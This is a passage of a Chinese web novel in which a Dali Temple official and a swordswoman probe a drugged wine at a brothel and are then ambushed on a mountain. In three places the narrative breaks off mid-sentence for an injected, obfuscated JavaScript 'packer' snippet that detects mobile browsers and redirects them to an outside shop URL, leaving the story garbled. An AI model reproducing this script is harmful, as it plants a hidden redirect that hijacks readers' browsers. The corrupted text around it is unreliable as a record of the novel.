方此时,楼下正传来柳娘婉媚的声音:“这酒啊,名为醉春,是妾身取三月桃花雪水与西域的奇药酿成。这可不是一般的酒,男子若饮此物,会比平日勇猛百倍呢。” 宋清时淡淡瞥了一眼莹儿。 莹儿很是不好意思地再次低下头去,脸颊绯红。 “他喝了醉春以后,可有什么反应?” 莹儿又是一阵羞涩。 直到段昇拔出腰间佩刀吓了她一下,莹儿才结结巴巴地说:“除了那事上强一些,好像人变得有点傻乎乎的,只顾横冲直撞,怎么说都不听,几次之后就昏睡了过去。” 宋清时额间微蹙。 难道这醉春和拾味轩的糕点混合以后,会使人意识昏沉吗? 正这么想着,他的思绪却被楼下骤然沸腾起来的叫价声打断。 “大人,这个柳娘说今夜谁买的酒最多,谁就可以指定一个姑娘跳舞,还可以与她春宵一夜,如今楼下正叫价呢。” 段昇一边听宋清时审讯莹儿,一边还没忘记关注楼下的热闹。 宋清时拨开珠帘,往楼下看了眼。一位西域茶商刚报了价:“二十壶。” 他的目光不自觉往舞姬那一侧停留,见江遥混在舞姬里,眼神中透露出一点兴致缺缺的样子,明显是觉得这热闹还不够大。 正好如今一时没有再加价的,宋清时心中也起了点玩心,想要再往上抬抬,于是懒懒开口道:“三十壶。” 段昇小声道:“大人,你怎么还哄抬物价。” 宋清时耸耸肩,脸上带着点恶作剧得逞的笑意。 他这一抬,也带动了其他人的热情,成功让楼底下众人的哄抢更加热闹了起来。 雅间外面的凭栏处,隐约能听到另外一些人的交谈。 一个左拥右抱的中年男子刚刚报了"六十壶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491234|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' "的高价,楼下的柳娘还在确认是否有比他更高的价钱。 “大哥,你想要哪位舞姬跳舞啊?我看那个领舞的就不错,跳起舞来腰肢那叫一个软。”他身边的一男子道。 中年男子自以为大局已定,有些得意地说:“你懂什么,我看那个紫色衣服的舞姬就不错,你看她那眼神,一看就是个性子烈的,那样的玩起来才有意思呢。” “有理有理,论起风月之事,还是大哥更胜一筹啊。” 两人捧腹大笑。 “大人,他们说的好像是阿遥姑娘。”段昇犹豫道。 宋清时隔着珠帘瞥了一眼外头的两人,见那两人正贪婪地看着楼下身姿曼妙的舞姬们,像两头饿了多日的虎。 宋清时无端厌恶这样的目光,散漫的眉眼有一瞬凌厉起来。 “段昇。” 他将段昇叫到耳畔,低声对他耳语了几句。 段昇听后,本来就大的眼睛瞪得更大了些,他不由对宋清时赞叹道:“大人,不愧是你。” 六十壶的高价果然让不少人望而却步。 雅间外,方才谈话的那两人已经提前开始庆祝。 “看来没有比六十壶更高的价格了,那——” 只可惜柳娘的话还未说完,段昇便一把撩起珠帘走了出去,冲楼下喊道:“我家公子,买一百壶!” 一百壶的数量一出,人皆哗然。 宋清时看到江遥呆愣的表情后,又忍不住勾唇笑了一下。难得看到她吃瘪,他觉得可太有趣了。 想到之后要发生的事,宋清时起身,把原本半拉的珠帘全落了下来,这下好了,江遥彻底看不见他的一点表情了。 * 面对满堂灼灼的目光,此时的江遥,恨不得飞身跳上二楼和宋清时同归于尽。 她觉得自己进退两难。跳的话,她对此道一窍不通,上台势必会露馅;不跳的话,那就更令人生疑了,醉春楼精心调教的舞姬怎么会有拒舞的道理呢? 跳也不是,不跳也不是。 偏偏在场唯二知晓内情的宋清时和段昇,一个藏在楼上不肯现身,一个抱臂在旁,坐在椅子上不说话,分明都在等着看她的笑话。 “快跳啊!”台下已经有人开始不耐烦,还当她是在欲迎还拒,连声催促着。 江遥闭了闭眼,深吸了口气,在睁眼的时候已经神情如常,完全看不出心虚的样子。 她缓步移到台前,僵硬地做了个起舞的动作。 既然已经这样了,不如索性就赌一把。以她对宋清时的了解,她觉得对方不会不管她。 果然,在烟紫色舞袖翻飞的刹那,段昇带笑的声音清亮地响起:“且慢。” “我家公子方才传话了,”他不知何时已经站了起来,朝四方拱了拱手:“我家公子说,醉春楼舞姬众多,个个舞姿出众,容颜绝色,诸位可以继续观赏她们的舞蹈。” 段昇的目光扫过疑惑又饥渴的宾客们,冲着江遥的方向扬了扬下巴,然后咧嘴一笑:“至于这位舞姬的舞,还是由我家公子独赏吧。” 满堂喧哗起来。 “这不是耍我们吗!” 有客人连带怒容,站起身想要骂他,可是在他们看见段昇笑嘻嘻地拔出腰间的佩刀时,全都悻悻地闭上了嘴。 26. 散漫傲娇大理寺少卿6 柳娘亲自把江遥送到了宋清时的雅间。 江遥进门的时候,没好气地瞪了宋清时一眼,因着她今天的妆容旖旎,眉眼都被修饰得艳丽柔婉,哪怕是带着怨气的眼神,都透露出一种风情,配上她喉间的轻哼,就像是在娇嗔一般。 宋清时的心好像有一片羽毛划过,感觉到一点酥麻的痒意,情不自禁地勾了下唇。 柳娘在后面掀帘子进来的时候,恰好看到的就是这一幕,表情有一瞬间的惊艳。 她在醉春楼见过太多的美人,却还是头一次见到这样出挑的人。 年轻男子穿着一身月白色云纹长袍,周身气度矜贵,鼻梁高挺,唇形优美,在他望向自己身边的这个舞姬时,那双平静无波的、带着倦怠的茶色眼睛里突然就漾开了一圈极小的涟漪,是很浅的笑意,甚至只有一瞬,却还是被柳娘捕捉到了。 柳娘心里透彻得很,愈发得意自己调教的舞姬如此勾人,面上却笑得妩媚周到。 “劳烦柳老板亲自走这一遭了。”宋清时已然恢复成那幅置身事外的模样,指尖松松地握着一柄折扇,人闲散地立在窗前。 “公子说笑了。”柳娘笑着将江遥往前一推,语气意有所指,“您一掷千金,诚意满满,柳娘自然是该将人亲自送到您怀里。” 江遥本身有武功,但怕在柳娘面前漏了馅,只好装作没有防备得被她推得一个趔趄,直直撞进宋清时怀里。 她的鼻尖撞上年轻男子柔软的衣料,一股清冽中又隐隐透着甜润的奇楠香气瞬间蔓延过来。人还未在他怀中站稳,一把折扇就已经抵上了她的下颌,将她的脸抬了起来。 宋清时居高临下地垂眸看她,精致的眉眼挂着几分玩味,语气还是那样懒懒的:“这个姑娘,倒是生得不错。” 江遥想到方才这人捉弄自己的行为,眼底掠过一丝狡黠。 她挑了挑眉,顺势覆上他握着折扇的手,接过折扇,然后引着他微凉的指尖一路向下,将他的手放在自己腰间那片裸露的、温热的肌肤上。 年轻男子身形蓦地一僵,因着柳娘还在旁看着,他只能顺着江遥的戏演下去,虚揽住女子盈盈不堪一握的腰。指尖动作看似亲昵,实则并未用力,与她的肌肤保持着一点微妙的距离。 但话又说回来,尽管有那么一点距离,他的指尖却仍然能感受到女子腰间肌肤那温热的温度。 宋清时只随意往下一瞥,就看见女子腰间那裸露着的白皙的肌肤,那样柔软滑嫩的肌肤,只要他手指略微向前,就可以触摸到。 宋清时呼吸有一瞬间不稳,却还是抑制住了,他几不可察地对着女子舞衣镂空的腰间皱了下眉,忍不住为自己那身为男人的、脆弱的自制力感到难堪。 “公子可还满意?” 柳娘朝他投来疑惑的眼神。 宋清时收敛思绪,看着身边笑意盈盈的江遥,深吸了口气,懒散回道:“甚合我意。” “满意就好。”柳娘又冲着江遥软声叮嘱,“把这位客人伺候好,知道吗?” “是。”江遥柔声应了,挽着宋清时的胳膊,装得乖乖巧巧的,眼睛里的笑意却深了。 她看了眼身边的宋清时,对方的肤色本来是一种带着冷调的白,此刻耳后的肌肤却带着一点淡淡的粉色,变成了粉白色。 这样就害羞了吗? 江遥觉得自己心头的气还没散,分明已经感受到了身边人的一点异样,却还是仗着柳娘没有离开,动作愈发变本加厉。 她把手又重新覆在宋清时的手上,年轻男子的手有一瞬间的挣扎,却还是抵抗不过,被江遥带着,往自己的腰间向下一按。 指尖触碰到她腰间肌肤的一刹那,她看见,宋清时方才眼底的玩味彻底沉敛,化作一片深潭。 柳娘眼见面前的两人气氛越发火热,很有眼色地要拉着段昇退出门去。 被扯走的段昇有点懵,指着自己问:“我也要走吗?” “怎么,你也想与你家公子共度春宵?” 柳娘缓缓落下珠帘前的暗门,有些嫌弃段昇,觉得这人忒不解风情。 暗门最后落下的瞬间,柳娘又忍不住看了看那位气质卓越的年轻男子,心里有点遗憾。 美人在骨不在皮,可眼前这个人,兼有骨相和皮相,实在是太难得了。可惜眼前这位一看就不会缺钱,不然她真想把人买来楼里做小倌。 雅间内,江遥彻底演够了婉媚舞姬的样子,柳娘一走,她便迫不及待地扯掉面纱,将方才从宋清时手里抢过来的扇子还给对方,然后懒洋洋地往宋清时刚刚坐过的梨花木椅子里一歪。 “累死我了,你不知道,做一天的舞姬,简直比耍一天的剑还累。” 江遥给自己斟了杯茶,抱怨着。 她自顾自地说了半天,发现没人回应,便扭头看了一眼,见宋清时还站在方才的地方,对着手中的扇子发呆,不知道在想什么。 “小宋大人?”她疑惑地叫他。 房间内的木质熏香不知何时被燃了起来,整个屋中都充满着一种草木的幽香。 宋清时抬起头时,看到女子完全暴露出的秀丽面容,喉结滚了滚,倦怠的茶色眼眸晦暗不明。他捻动指尖,觉得指尖方才那股触感挥之不去,就如同心间挥之不去的欲望一般。 琵琶曲先前已经被宋清时换成了清丽的小调,莹儿的歌声虽柔细绵长,曲词却也含蓄大方,可宋清时脑中却不知怎的,忍不住想起方才莹儿口中的那 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宋清时低低地笑出了声,放开了她的脸。 “好了,如今你也报复回来了,我们两不相欠。”江遥摸着自己的脸,感觉到有点热,她嗅了嗅屋子里的味道,眼神一瞬警惕起来。 “大人,你觉不觉得这屋子里的香气有些怪?”她问。 宋清时心下一凛,抬眼看向香气的源头。 鎏金香炉里的熏香还在继续燃着,散发出勾人的香气,无孔不入地侵入房间的每个角落。 只这一眼,他方才心间不断蒸腾起的欲望和种种异常的行为,就有了答案。 “停下。”他对一旁弹奏琵琶的莹儿道。 声音不高,语气里却有少见的锋锐。 莹儿指尖流淌的琵琶声戛然而止,她疑惑地看向宋清时,不明白宋清时因何不悦。 “这香里加了什么?”宋清时看着她,眸光沉静如水。 莹儿被他看得心慌,小声道:“不过是加了些惯常的助兴之物。这熏香是雅间特供的,旁的客人想用都用不上呢。” 宋清时没说话。窗外的月光清清冷冷地照进来,落在他月白的衣襟上。 怪不得,他早该想到的,醉春楼作为风月场所,熏香里加料于那些常来寻花问柳的客人来说,不过是一件稀松平常的小事,根本无需特意解释。 是他疏忽了。 莹儿还以为他犹在不满,继续解释道:“这药效很弱的,见水就消,您要是不喜欢,可以用帕子沾了水扑在脸上。” 宋清时轻点了点头,微不可查地松了口气。 27. 散漫傲娇大理寺少卿7 重新换了熏香后,宋清时和江遥都用冷水洗了脸,精神清明了不少。 确切地说,是宋清时找回了素日的清明,这熏香确如莹儿所说,药效不强,对江遥来说,似乎没什么太大影响。 待他整理好衣襟从内室出来时,就瞧见江遥已经卸去了脸上那些繁复的妆容,恢复了原本英气灵动的眉眼,正挨着莹儿坐在椅子上。 这两个人头碰着头,口里喋喋不休的,说得很是投入,浑然未觉他已经回来了。 宋清时脚步微顿,心间失笑。 果然,不管把江遥和谁放在一起,都能迅速熟络起来。 江遥手里拿着一壶醉春,好奇地打量了一番后,对莹儿调侃道:“这又是催情酒,又是调情香的,你们醉春楼就不怕把客人累着?” 莹儿掩口轻笑,她本来没想多说什么,可一对上江遥那双写满“快说给我听听”的亮晶晶的眼睛,话便止不住了。怪就怪对方的表情实在太有鼓动性了。 莹儿凑近些,声音压得低低的:“妹妹不知,那些看着体面的贵客,离了这些,多半……是不成的。”她脸上多了一些红晕,“这往往越是模样好、气度佳的郎君,……越要靠这些玩意儿助兴。” “竟然这样?!”江遥登时来了兴致,“姐姐能否与我细说说?” “比如……比如方才这位大人,看着真是风度翩翩,气度不凡,但可能……”剩下的话,莹儿没有说完,但她扯下了自己随身带着的香囊,将其塞到了江遥手里,言明这里面的香料也有催情之用,可以帮江遥解忧。 江遥低头看着手里的香囊,表情差点控制不住。 她本来是为了打探消息才与对方攀谈,宋清时到底行不行她不知道,但诋毁一下他也是顺手的事儿。 于是江遥把酒壶重重放在桌子上,像是恍然大悟了一般,也压低声音对莹儿道:“我就说刚才大人发现熏香时脸色怎么那样难看,你说,他该不会是恼羞成怒了吧?” “正是呢”,莹儿频频点头,“这样的人,我见太多了,阿遥妹妹可要小心。” 二女齐齐叹了一声,一切已经尽在不言中。 宋清时眉心重重跳了一下。 “咳。”他故意发出了点声音,正窃窃私语的两个女子瞬间噤声,僵硬地坐在原地不敢动弹。 江遥慢慢转头,对上面无表情的宋清时的脸,干笑了几声:“大人什么时候出来的,怎么一点声音都没有?” 宋清时不疾不徐地朝前走了几步,直走到两个缩得像鹌鹑一样的女子面前,拿过江遥手里的香囊,粉色香囊在烛火的照射下带出一点暧昧的光晕。 如同抓到了罪证一般,他修长的手指捏着那花开并蒂的香囊,似笑非笑道:“若是有声音,不就打搅到二位的雅兴了?” 江遥不知如何作答,只能又干笑了几声,莹儿则几乎要把自己缩进椅子里。 宋清时抬了抬手,莹儿如蒙大赦,抱着琵琶匆匆退下,临走前还给江遥投去一个“自求多福”的眼神。 门被轻轻带上,外面的珠帘噼里啪啦地响着。 转瞬间,屋中只剩下了江遥和宋清时两人。 明亮的烛火让年轻男子如画的眉眼在江遥面前一览无余,那双茶色眼眸中早已不再是惯常的散漫慵懒,而是涌动着幽暗的微光,像化不开的夜色,却又带着直白的侵略性。 “阿遥姑娘方才听得那般认真,是在担心些什么吗?”宋清时单手撑在江遥身侧的椅背上,向前微微倾身,他身上那股熟悉的奇楠气息很快重新将江遥包围起来。 江遥被他困于一方狭小的天地里,身子只能一直后退,直到退无可退,脊背贴上冰凉的椅背。 宋清时那张俊俏的脸不断贴近她,在烛火下好看得失真,也让江遥乱了方寸。 “我……我这不是为了案子在打探消息吗?”她深感美色惑人,一句话说得结结巴巴。 话音落下的刹那,宋清时眼里的暗色如潮水般褪去,全然化成了真切的笑意。 “还你。” 他将香囊重新放到她掌心。 宋清时后退了半步,靠在桌沿上,看着江遥面颊上那一抹绯红,低低地笑了起来,笑声清越,带着点恶作剧得逞的愉悦感。 “看来阿遥姑娘胆子也不大。”他望着她,又变成了那副熟悉的倦怠样子。 “真无聊。” 江遥看似气恼地偏过了头,可对着墙面的唇角却也很淡地上扬了一下。 小宋大人,你入局了哦。 江遥认为,要攻略宋清时这种多智近妖的人,就必须先让他掌握两人情感的主动权,让他以为一切尽在掌握,然后再让他体会到这段感情的不可控性,在先松后紧中交付真心。 所以她从一开始就在一步步引导他,主动去接近自己。 虽然过程中有些偏差与意外,但好在,最后的效果还不错。 * 段昇重新回到雅间后,总觉得气氛有点奇怪。屋子里还氤氲着残留的木质香气,香炉却像是被谁泼了水,还带着湿气。 卸了妆的江遥双手叉腰,气鼓鼓地坐在椅子上,背对着自家大人。而自家大人呢,却像是一点没察觉到一般,表情笑吟吟的,像是碰见了什么有趣的事。 “大人,你是不是又说了什么话惹阿遥姑娘生气了?” 段昇狐疑地问道。 他可太熟悉自家大人这个表情了。 在段昇眼中,自家大人可谓是劣迹斑斑,不仅嘴上不留情,还非常喜欢捉弄别人。 他只有做坏事的时候脸上的表情才会像现在这么生动。 比如上次,小宋大人与自己去查案,在街头救了一位卖身葬父的女子,那位女子很是感动,坚持要以身相许来报答小宋大人,小宋大人拗不过她,懒懒散散地答应了,最后留得却是谢瑜大人的名字。 再比如上上次,宴席之上,某位大人高谈阔论,不断夸耀自己的政绩。被强制拖来宴饮的小宋大人趁着弯腰的时候,默默把那位大人的衣角压在了桌腿下,然后那位大人起身敬酒的时候就被狠狠绊了一跤。 身为始作俑者的小宋大人却是眼也不眨,在那位大人跌倒后,还第一个上前去扶他,把那位大人感动得眼泪汪汪的,拉着小宋大人道:“霜序啊,人都说你刻薄又冷情,今日一见到本尊,我方知谣言误人啊。” 坐在宋清时身旁的段昇目睹了事件发生的全过程,在内心赞了一句“高人啊”,然后从此再也不敢对他不敬。 “大人啊,你平时捉弄同僚也就算了,可你不能这样对姑娘的。”段昇端着操心老父亲的样子,谆谆教导宋清时,“再这样下去,我觉得以后你很难讨到媳妇儿,只能凭美色入赘。” 段昇:就连阿遥姑娘那样好性子的人都能被大人弄生气了,更别说旁的姑娘了。 “小段大人总算是说了句公道话。” 江遥被他痛心疾首的样子逗笑了,也不再维持原来气恼的表情。 宋清时则睨了他一眼,淡声问道:“把留下的尾巴处理干净了吗?” “处理干净了。”段昇大大咧咧地坐在桌子上,给自己倒了杯茶,“我让媚儿给阿遥姑娘敲晕的那位舞姬和方才弹琵琶的莹儿姑娘都用了迷香,保证她们醒来不会记得一点儿今晚发生的事情。” 媚儿就是之前在台上领舞的那位舞姬,江遥的妆容也是她给画的。刚知道媚儿居然是宋清时的暗探的时候,江遥一度十分惊讶,感慨宋清时的情报网络之广泛。 “阿遥姑娘呢,想必也有所收获了吧?”宋清时转头问身边还在背对着他的江遥。 语气淡淡的,但也有那么点主动求和的意思。 江遥听出来了。 “算是有点眉目吧”,她侧过身,“根据莹儿和楼里其他舞姬的说辞,我判断,醉春的原料是一种名为醉骨草的药草,就长在京都郊外的天行山。如果真是这酒的问题,那我们将这醉骨草摘来,或许能作为证据。” 醉骨草? 宋清时眉梢微动,想到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506879|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳娘之前的话。 “这酒啊,名为醉春,是妾身取三月桃花雪水与西域的奇药酿成。” 想到这里,他嗤笑了一声,眼中带着不屑。 即便这柳娘不是凶手,她卖的这酒也一定有鬼。 “我需要亲自去趟天行山。”宋清时顿了顿,似在思索什么,“段昇,我们这次兵分两路。” 听见天行山的江遥眼睛微眯了一下,略过一丝奇异的神采。 “天行山猛兽众多,大人又不会武功,若是没有一个稳妥的人在身边陪着,我不放心。” 段昇放下茶杯,从桌子上站了起来。 “我有更重要的事情交给你。” 宋清时:“我需要你留在大理寺,去把买回来的醉春酒尽数交给不同的医者轮番查验,然后再去查一下那家糕点铺子的老板。” 江遥建议道:“我以前去过天行山,对那里的环境比较熟悉,不然我和小宋大人同去吧?” 宋清时偏过头看她。 烛光映着她妆容卸净的脸,她的眼睛亮堂堂的,见他望过来时,坦坦荡荡地笑了一下。 可宋清时却又不自觉想到她方才面颊上的那一抹绯红。 他喉结滚了滚,思索片刻后,对着眼前还在等他回话的女子,终是应了声:“也好。” 段昇一拍大腿,道:“阿遥姑娘的花招……不是,阿遥姑娘的身手,我是见识过的,若是由你保护大人,我自然是放心的。” 几人商量之后,决定先行回去休息,天亮便各自出发。 * 与此同时,与他们仅一墙之隔的另一间雅间之内,有两位同样气度不凡的年轻公子将方才发生的一切都尽收眼底。 这二位容貌有几分相似,眼睛也都是一样的琥珀色,可气质却迥然不同。 一个肆意张扬,一个温润如水。 坐于珠帘前的青年穿着件极为艳丽的绯红色交领广袖深衣,却并没有妖冶绮糜之感,反而更衬出了他五官的明朗与潇洒。 此人正是五皇子楚明霄。 “没想到我们刚回京,就遇见了这样一出好戏。”他将面前的珠帘放下,抬手时露出了袖口用金线绣着的柿蒂纹,纹样在烛火的映照下,涌动着金色的光亮。 楚明霄转过头,对身侧正执壶斟茶的那人道:“小七,你如今在吏部历练,应该认识刚才那个叫价的少年吧?” 他的嗓音里浸着几分兴致。 天青色长衫的青年姿态娴雅,将刚煮好的热茶递到楚明霄手中,声音温和地说:“是段大人家的独子,段昇,我记得他现在于大理寺任职。至于他口中说的那位公子,约莫是如今的大理寺少卿,宋清时。” 楚明霄接过茶,却并没有急着喝,眨眨眼道:“这么说,他们应该也是为最近发生的多起命案来的了?” 楚明远笑道:“有惊才艳艳的宋霜序在,我们当不用费心了。” 宋清时是谁,他可是19岁就以一篇策论震惊考官、殿试一甲第一的少年天才。 殿试之前,景德帝一度担心他风头太盛,过于轻狂,想要压一压他的性子。可是在亲自考究了宋清时之后,他终是钦点了年仅19岁的宋清时为状元。 这样年轻就状元及第的,景国历朝也只找出了两个。 至此,宋清时在京中名声大噪,他的名字如雷贯耳。坊间甚至有传言,若言宋清时之生平,三岁稚童皆可道来,盖因诗礼人家,无不引其为范,每日耳提面命之故。 传言虽然过于夸张,却在一定程度上反映了人们对这位天才的欣赏。宋清时也确实没有辜负众人的期待,虽然有父兄的保驾护航,但他所任职之处,确实政绩斐然,升职无可指摘。 楚明霄显然也想到了这些事,扬唇道:“看来倒是我们两个多管闲事了。” 他笑起来的时候,右侧露出一颗小虎牙,显得有些稚气,中和了几分他身上的张扬。楚明霄将杯中茶水一饮而尽,道:“看戏看了这般久,也该回宫向父皇复命了。” 28. 散漫傲娇大理寺少卿8 立于天行山山顶,可以将山间风光尽收眼底,绵延的山色在暮霭中显现,层林尽染,远峰如黛。 只是此刻的江遥和宋清时,皆无心欣赏。 迎面而来的秋风将他们二人的衣衫吹动得猎猎作响,紫色的裙摆和月白色的袍角交织在一起,看上去有一种奇妙的和谐。 “这天行山实在是太大了,从山底找到山顶,也没有发现醉骨草的半点踪迹。”江遥抬手擦去额头的一层薄汗,语气有些烦躁。 宋清时倒是不急不慌的,既然找不到,他索性就找了块地方坐了下来,哪怕月白的衣袍沾了尘土也丝毫不在意。 他拍了拍身侧的石面,示意江遥也歇一下。 两人在山下徒劳无功地找了许久,等登上山顶时,天色已经有几分暗。此刻暮色渐起,倒是有一种别样的风致。 秋风吹过山峦,有飞鸟不时经过,四周都安静而静谧,恍若空旷的天地间只有他们两个的存在。 静坐许久,宋清时忽然开口,声音散漫如这暮色:“阿遥姑娘当初为会来天行山?” “替我师兄走一趟”,江遥托着腮,陷入了回忆中,“他接了个悬赏令,目标要来此围猎。但他素来最不耐烦这种场合,就推给我了。” 宋清时轻扬眉梢:“冒味一问,令师兄的任务也是要割人发丝吗?” “小宋大人。”江遥瞪了他一眼,“割人发丝,不过是我给那些登徒子的一点小教训。至于我师兄,他可是有正经行当的好不好。” 宋清时笑了笑,刚要开口说是自己浅薄了,结果江遥又很快地接着说:"我师兄可是神偷,入行多年,从无败绩的那一种。" 表情得意洋洋,语气非常自豪。 “……” 在一个大理寺官员面前说自己师兄是神偷,宋清时一时不知道该感谢江遥的信任,还是该立马逼问出她师兄的下落,把她师兄抓起来了。 “所以令师兄的任务是?” “雇主只想让那位大人当众丢个大脸。所以我就趁他沐浴时,把他的假发顺走了。”江遥笑嘻嘻的。 “礼部的岳大人?”提起假发,宋清时好像想起来了一个人。 他同此人接触过几次,对此人仅有的印象就是才气有余而眼界不足,气量狭小又睚眦必报。 如此想来,岳大人在朝中的死对头确实颇多,会被人针对也不足为奇了。 “正是。”反正这件事已经过去几年了,就算是想指认也再难找到证据。 江遥索性说得多了些,她笑得眼睛弯弯,道:“雇主还叫我带个画师,把那位大人头顶发光的样子画下来,给他带回去仔细欣赏。发现假发失踪的时候,那位大人四处找,都快把周围的营帐翻遍了,也没找到。” “不得不说,阿遥姑娘的办事能力真是……令人佩服。” 暮色中,想到岳大人追着假发到处找的样子,年轻男子的唇角终是没压住,几不可闻地低笑了一声。 “后来怎么样?” “后来啊。”江遥随手把手边的小石子儿丢向远方,石子在空中划过一道弧线,然后很快消失不见,掉落到了眼前悬崖的底端。 “后来,那位头顶光光的大人无意中得知了是谁要让他出丑,也给我师兄发了一道悬赏令,让我师兄去把前雇主的腰带偷了,因为他听说,对方经常在腰带上写些酸诗,送给他在醉春楼的情人。” 难以想象,究竟是何种的深仇大恨,才让江遥师兄的两位雇主如此打击报复彼此。 宋清时哑然失笑,他觉得江遥真的是一个很神奇的姑娘,会写话本,武功也不错,更重要的是,还有一些奇奇怪怪的师兄师姐,就连接个悬赏令也是如此地清新脱俗。 两人正说着话,周遭的密林却突然传来了簌簌的破空声。 “小心!” 江遥反应极快,一把将宋清时按倒。 一只凌空而来的箭矢擦着他的肩膀划过。 “小宋大人,躲好。” 话音未落,年轻女子已翻身跃起,她抽出佩剑,檀紫色发带束着的高马尾随着她在空中的腾跃甩出漂亮的弧线。 宋清时没有犹豫,依言退至一处山石之后。此时此刻,不添乱就是对江遥最好的辅助。 越来越多的箭矢从密林里射出,江遥手中挥舞的剑光为宋清时织起了一道密不透风的网。她身形灵动,纵横起落间,已经将射来的箭矢尽数拦截。 起初,双方还保持着微妙的平衡,直到某个箭矢疏落的瞬间,江遥抓住时机,从袖中掷出四枚短小的飞椎,分四个方向,向密林中的几个身影袭去。 这是她为了自保用的飞椎,飞椎上涂了毒,见血封喉。不到最危险的时刻,她不会轻易使用。 扑通几声,四支飞椎无一虚发,随着林间枝叶的晃动,四道身影接连扑倒在地,再无声息。 “困兽之斗。”一道阴沉的声音从林荫里传来。 走出来的黑衣人,年约三十,右眼上方有一道自眉心斜劈而下的疤痕,未被面巾遮住的疤痕深而狰狞,像是被人硬生生用匕首刻上去的。 “倒是小瞧你了”,那蒙面黑衣人扫了眼自己手上空空如也的箭袋,索性将其丢弃,从背后拔出一把可以一刀断骨的鬼头刀,向着江遥砍去,“那就先给你这个碍事的丫头片子一个痛快吧。” 随着他的暴起前冲,数十道黑影也紧随其后,刀光剑影间,无数杀招向江遥袭来。 江遥起先尚能阻挡,但因为先前抵抗箭矢已经耗费了许多体力,还要分神留意宋清时的安全,不出片刻,额头已经沁出了细密的汗珠,气息也稍显凌乱。 当疤痕刀客那一刀凌空而来时,江遥虽以剑格挡,将刀锋偏转,但鬼头刀犹有余劲,竟然硬生生把她的长剑斩断,在她的肩膀处落了一刀。 “真是没有礼貌啊。”年轻女子撇撇嘴,丝毫不在意衣襟渗出的汩汩鲜血,冲疤痕刀客面门劈下满含内力的一掌,趁对方躲避的时候,手腕翻转,射出两支飞椎,一支射向疤痕刀客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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衣袖翻飞间,江遥搭上宋清时的腰侧,将他往身前一揽,同时另一只手将剑插入崖壁之中,为二人减缓下落的速度。 两人下坠的势头骤然一停,脚下是望不见底的悬崖。 然而剑身终究承受不住两个人的重量,“咔”的一声,从中间断开了。 两人的身影极速下落,很快就消失不见。 崖顶的风声依旧猎猎,将最后一点呛人的白雾吹散。 领头的疤痕刀客站在悬崖边,目光停留在先前那两个人消失的方向。 “疤爷,您看这两人都掉下悬崖了,我们的兄弟也损伤大半,和陆大人这交易也算完成了吧?”一名黑衣人绕过地上横七竖八的尸体走过来,谄媚地问道。 “架绳索,下悬崖。”疤痕刀客转过头,冰冷地说:“大人吩咐了,宋清时这个人,活要见人,死要见尸。” 29. 散漫傲娇大理寺少卿9 江遥醒来的时候,是在一个山洞里,天色已经完全暗了下来,除开眼前那一小团火光,周围都是黑黝黝的。 起身的时候,受伤的肩膀仍然带着撕裂一般的疼痛,但却不再像先前一样不停流血,似乎是被人简单地包扎了起来。就着那一小团光亮,江遥看清了肩膀上那块布料的颜色,月白色。 衣物的主人是谁,毋庸置疑。 “醒了?”独属于宋清时的声线响了起来,声音里带着几分关切。 江遥嗯了一声,她的意识还停留在掉下悬崖的时候,好像仍然能回忆起耳边呼啸的风声和眼前飞速略过的景物。 她在跳下悬崖之前,紧急在系统商店兑换了一个保命buff,虽然知道不会死,但是真的从那么高的地方跳下来时,还是有些害怕。 江遥问道:“小宋大人有受伤吗?” 年轻男子拨弄火堆的手顿了顿,答道:“没有。” 江遥确实像临行前她对段昇承诺的那样,将他保护得很好,就连掉下悬崖时,还将他护在身前。两人也算幸运,掉落在了一片柔软的细沙中,所以他只受了一点皮外伤。 但江遥却不太好。她肩膀上中的疤痕刀客的那一刀,刀口很深,若不是她之前用剑格挡了一下,那一刀甚至可能会将她瘦削的肩膀贯穿。 宋清时在坠落后醒来时,她仍然昏迷不醒,伤口不停地往外冒血,她本来嫣红的唇色变得有些苍白,紧紧蹙着眉。宋清时眼中有一闪而过的疼惜,但更多的是自责,他从自己的内衫上撕下一块布料,为她止住了血。 后来,因为怕碰到她的伤口,他只能将手放在她的膝弯,另一手尽量避开伤处,托住她后背,将人打横抱了起来。也是那时候他才发现,她是那么轻。 这样瘦弱的她,居然可以以一当十,孤身应战那么多的黑衣人也不再话下。 是怎么有那么震撼的力量的?为了她师姐的案子,她竟然可以做到这个地步吗? 那时的宋清时抱着轻如落叶一般的她,心间缠绕着许多情绪,却没有人为他解惑。 “没有受伤就好。”年轻女子带着庆幸的声音响起,打断了宋清时的回忆。 只听她长舒了一口气,说道:“不然真要是缺了胳膊,或者少了条腿的,回去以后小段大人不得骂死我。” 她还是像往常一样插科打诨,可宋清时却没有与她斗嘴的心思。 他想,那些黑衣人多半是冲他而来,她身手很好,若不是因为护着她,绝不至于如此狼狈。 他不喜欢这种感觉。这种成为别人累赘的感觉,陌生且令人烦躁。 